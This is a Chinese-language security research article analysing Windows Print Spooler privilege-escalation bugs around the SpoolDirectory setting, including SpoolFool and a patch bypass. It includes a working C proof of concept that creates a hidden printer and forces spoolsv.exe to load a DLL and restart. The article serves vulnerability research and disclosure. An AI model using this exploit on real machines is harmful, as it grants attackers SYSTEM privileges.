Windows Print Spooler是Windows的打印后台处理服务，该服务也因为一直频繁出现漏洞而被人熟知。在今年结束的“Pwnie Awards”的颁奖中，Print Spooler中的漏洞CVE-2022-21999（也被称为SpoolFool）获得了最佳提权漏洞提名，该漏洞被认为是早年出现的漏洞CVE-2020–1030的补丁绕过，这两个漏洞都与Print Spooler的配置属性“SpoolDirectory”有关。本文将对这两个漏洞进行介绍并分享笔者在分析漏洞后发现的另一个漏洞CVE-2022-30206。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\<printer name>

故通过漏洞可以获得C:\Windows\System32\spool\drivers\x64\下目录的普通用户可写权限，将任意DLL写入该目录下，再次调用SetPrinterDataEx设置CopyFiles中Module值为该DLL路径，服务进程会以System权限加载该DLL，实现权限提升。

如何让打印机服务重启呢？通过对以往的漏洞分析学习[1]，可以通过以上办法加载"C:\Windows\System32\AppVTerminator.dll"，该文件符合路径要求，加载后会调用TerminateProcess终止spoolsv.exe进程，这将触发服务控制管理器（SCM）的恢复机制启动新的spoolsv.exe进程。

IsValidSpoolDirectory函数主要进行以下检测：

• 调用AdjustFileName将路径转换为规范路径。

• 调用CreateFileW校验该目录是否有当前用户可写权限。

• 调用IsPortAlink检查目录是否为一个链接。

问题在于这个校验只存在于SetPrinterDataEx设置SpoolDirectory的阶段。绕过办法是在调用SetPrinterDataEx时将SpoolDirectory设置为一个合法路径，设置之后再将该路径重定向到系统文件路径，这样在打印机服务重新初始化阶段，localspl!BuildPrinterInfo处理的便是重定向之后的路径。

另外一个补丁是在打印机初始化时，localspl!BuildPrinterInfo函数创建可写目录前会调用IsModuleFilePathAllowed校验该路径是否是以打印机驱动目录"C:\Windows\System32\spool\drivers\x64\"开始：

#include <windows.h>
#include <stdio.h>
LPWSTR g_DriverName = L"Generic / Text Only";
LPWSTR g_PrinterName = L"PWN";
int main()
{
    PRINTER_INFO_2 printerInfo;
    HANDLE hPrinter;
    DWORD dwStatus;
    // AddPrinter
    memset(&printerInfo, 0, sizeof(printerInfo));
    printerInfo.pPrinterName = g_PrinterName;
    printerInfo.pDriverName = L"Microsoft Print To PDF";
    printerInfo.pPortName = L"PORTPROMPT:";
    printerInfo.pPrintProcessor = L"winprint";
    printerInfo.pDatatype = L"RAW";
    printerInfo.Attributes = PRINTER_ATTRIBUTE_HIDDEN;
    CreateDirectory(L"C:\\Users\\Public\\tmp", NULL);
    hPrinter = AddPrinter(NULL, 2, (LPBYTE)&printerInfo);
    LPWSTR pszDriverPath = L"C:\\Users\\Public\\tmp\\1";
    DWORD cbData;
    if (hPrinter == NULL)
    {
        printf("Failed: AddPrinter(), %ls. Error: %d\n", g_PrinterName, GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    //Set SpoolDirectory
    cbData = ((DWORD)wcslen(pszDriverPath) + 1) * sizeof(WCHAR);
    dwStatus = SetPrinterDataEx(hPrinter, L"\\", L"SpoolDirectory", REG_SZ, (LPBYTE)pszDriverPath, cbData);
    if (dwStatus != ERROR_SUCCESS)
    {
        printf("Failed: SetPrinterDataEx(), SpoolDirectory. Error: %d\n", GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    CreateDirectory(pszDriverPath, NULL);
    //Load AppVTerminator.dll
    cbData = ((DWORD)wcslen(L"AppVTerminator.dll") + 1) * sizeof(WCHAR);
    dwStatus = SetPrinterDataEx(hPrinter, L"CopyFiles\\Payload", L"Module", REG_SZ, (LPBYTE)L"AppVTerminator.dll", cbData);
    if (dwStatus != RPC_S_CALL_FAILED)
    {
        printf("Failed: SetPrinterDataEx(), %ls. Error: %d\n", L"AppVTerminator.dll", GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    ClosePrinter(hPrinter);
    return 0;
}

并且多次运行后可以看到进行操作的文件名是可以被预测到的，即文件名称的数字会每次+2，例如00003.SPL、00005.SPL、00007.SPL，以此类推。故如果将SpoolDirectory设置到普通目录下，并将其.SHD、.SPL文件合理地链接到高权限文件，spoolsv.exe便有可能”帮助“普通用户对目标文件进行高权限操作。到这里已经有了明确的思路，即寻找哪些功能可以”帮助“普通用户进行越权操作，大体上需要满足以下几个条件：

• 确保操作是以System权限进行，而不是模拟客户端权限。

• 文件操作前没有有效的文件重定向、链接数检测，或可以通过其他办法绕过。

• 操作完成后对目标文件起到了实质上的变化，例如创建、修改、删除等操作。

在通过分析与调试后，笔者发现了两个可以被利用的函数调用，分别位于DeleteJob()和InternalCreateSafeFile()，有兴趣的读者可以自行复现。

参考

[1]https://www.accenture.com/us-en/blogs/cyber-defense/discovering-exploiting-shutting-down-dangerous-windows-print-spooler-vulnerability

[2]https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81?gi=ff25ef8f3067